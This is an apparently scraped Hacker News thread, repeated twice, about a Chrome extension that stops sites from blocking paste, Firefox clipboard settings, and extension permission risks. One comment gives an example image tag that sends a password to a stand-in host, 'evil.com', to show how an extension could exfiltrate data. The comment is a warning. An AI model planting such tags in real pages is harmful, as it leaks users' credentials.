4 ms·

On Chrome you can use "Don't Fuck With Paste" to override these bad forms: https://chrome.google.com/webstore/detail/dont-fuck-with-paste/nkgllhigpcljnhoakjkgai

On Chrome you can use "Don't Fuck With Paste" to override these bad forms: https://chrome.google.com/webstore/detail/dont-fuck-with-paste/nkgllhigpcljnhoakjkgaieabnkmgdkb https://chrome.google.com/webstore/detail/dont-fuck-with-pas...

sillysaurus3 9y ago
I was hoping this would also prevent websites from messing with the input to the clipboard. It's a bit annoying to copy a sentence from a website only to have "Read more on XYZ!" appended to it.
- thebouv 9y ago
  Fork the Don't Fuck with paste code and add that feature (or use it as an example to make your "Don't fuck with copy" extension). https://github.com/jswanner/DontFuckWithPaste https://github.com/jswanner/DontFuckWithPaste I hate sites that do that (or prevent right-click as if that somehow secures their code).
  - majewsky 9y ago
    I'd actually like an extension along the lines of "This is not Google Docs, for fuck's sake", that just disables all these APIs that are only ever useful with rich apps, but not with content-heavy websites, for example: - copy/paste hijacking - sensor access: microphone, camera, GPS, etc. Maybe even go further and introduce some sort of rate-limiting for - XHR requests - relayout events to save power and data.
    - artursapek 9y ago
      Incidentally, what are these APIs? I am building a rich content app (SVG editor) and have been starting to think about what copy + paste will look like.
      - akubera 9y ago
        I think you want to investigate the "ClipboardEvent" web API. Try starting here: https://developer.mozilla.org/en-US/docs/Web/API/ClipboardEvent https://developer.mozilla.org/en-US/docs/Web/API/ClipboardEv...
        artursapek 9y ago
        Thanks!
    - ben_jones 9y ago
      Couldn't you just load a JS file before 3rd party scripts and overload those methods? Preferably in a way that won't break the site.
- aaronmdjones 9y ago
  In Firefox you can disable this by setting dom.event.clipboardevents.enabled to false.
theptip 9y ago
I was overjoyed by this, and then i saw the permissions: "it can read and change all data on websites you visit". I _think_ that means it can send all of by passwords offsite, or do plugins need a separate permission to phone home? https://security.stackexchange.com/questions/15259/worst-case-scenario-what-can-a-chrome-extension-do-with-your-data-on-all-websi https://security.stackexchange.com/questions/15259/worst-cas...
- michaelt 9y ago
  Even if the plugin couldn't phone home directly, if they have the power to change the HTML of the page, they can insert <img src="http://evil.com/phonehome?yourpassword=whatever"> http://evil.com/phonehome?yourpassword=whatever"> and phone home that way. There's no permission that lets a plugin modify pages while preventing it from inserting tags that cause new requests. The plugin's code is probably quite short - maybe you could inspect it yourself, manually?
  - iza 9y ago
    Problem is extensions silently update in the background. They are frequently sold to adware companies, then malicious scripts added in without the user's knowledge.
- theptip 9y ago
  Hadn't done this before, but it's trivial to manually load the plugin[1] from the cloned git repo[2]. It's a bit disappointing that Chrome doesn't let you sandbox things well enough to install plugins safely; there's no reason that plugins should be allowed to transmit data without asking for permission. [1]: https://developer.chrome.com/extensions/getstarted https://developer.chrome.com/extensions/getstarted [2]: https://github.com/jswanner/DontFuckWithPaste https://github.com/jswanner/DontFuckWithPaste
deleted 9y ago
[deleted]
Merad 9y ago
In Firefox you block them by going to about:config and changing dom.event.clipboardevents.enabled to false.
Aaronn 9y ago
This add-on will be available for Firefox here after it is reviewed by Mozilla: https://addons.mozilla.org/en-US/firefox/addon/don-t-fuck-with-paste/ https://addons.mozilla.org/en-US/firefox/addon/don-t-fuck-wi...

sillysaurus3 9y ago

I was hoping this would also prevent websites from messing with the input to the clipboard. It's a bit annoying to copy a sentence from a website only to have "Read more on XYZ!" appended to it.

thebouv 9y ago
Fork the Don't Fuck with paste code and add that feature (or use it as an example to make your "Don't fuck with copy" extension). https://github.com/jswanner/DontFuckWithPaste https://github.com/jswanner/DontFuckWithPaste I hate sites that do that (or prevent right-click as if that somehow secures their code).
- majewsky 9y ago
  I'd actually like an extension along the lines of "This is not Google Docs, for fuck's sake", that just disables all these APIs that are only ever useful with rich apps, but not with content-heavy websites, for example: - copy/paste hijacking - sensor access: microphone, camera, GPS, etc. Maybe even go further and introduce some sort of rate-limiting for - XHR requests - relayout events to save power and data.
  - artursapek 9y ago
    Incidentally, what are these APIs? I am building a rich content app (SVG editor) and have been starting to think about what copy + paste will look like.
    - akubera 9y ago
      I think you want to investigate the "ClipboardEvent" web API. Try starting here: https://developer.mozilla.org/en-US/docs/Web/API/ClipboardEvent https://developer.mozilla.org/en-US/docs/Web/API/ClipboardEv...
      - artursapek 9y ago
        Thanks!
  - ben_jones 9y ago
    Couldn't you just load a JS file before 3rd party scripts and overload those methods? Preferably in a way that won't break the site.
aaronmdjones 9y ago
In Firefox you can disable this by setting dom.event.clipboardevents.enabled to false.

theptip 9y ago

I was overjoyed by this, and then i saw the permissions: "it can read and change all data on websites you visit". I _think_ that means it can send all of by passwords offsite, or do plugins need a separate permission to phone home? https://security.stackexchange.com/questions/15259/worst-case-scenario-what-can-a-chrome-extension-do-with-your-data-on-all-websi https://security.stackexchange.com/questions/15259/worst-cas...

michaelt 9y ago
Even if the plugin couldn't phone home directly, if they have the power to change the HTML of the page, they can insert <img src="http://evil.com/phonehome?yourpassword=whatever"> http://evil.com/phonehome?yourpassword=whatever"> and phone home that way. There's no permission that lets a plugin modify pages while preventing it from inserting tags that cause new requests. The plugin's code is probably quite short - maybe you could inspect it yourself, manually?
- iza 9y ago
  Problem is extensions silently update in the background. They are frequently sold to adware companies, then malicious scripts added in without the user's knowledge.
theptip 9y ago
Hadn't done this before, but it's trivial to manually load the plugin[1] from the cloned git repo[2]. It's a bit disappointing that Chrome doesn't let you sandbox things well enough to install plugins safely; there's no reason that plugins should be allowed to transmit data without asking for permission. [1]: https://developer.chrome.com/extensions/getstarted https://developer.chrome.com/extensions/getstarted [2]: https://github.com/jswanner/DontFuckWithPaste https://github.com/jswanner/DontFuckWithPaste

deleted 9y ago

[deleted]

Merad 9y ago

In Firefox you block them by going to about:config and changing dom.event.clipboardevents.enabled to false.

Aaronn 9y ago

This add-on will be available for Firefox here after it is reviewed by Mozilla: https://addons.mozilla.org/en-US/firefox/addon/don-t-fuck-with-paste/ https://addons.mozilla.org/en-US/firefox/addon/don-t-fuck-wi...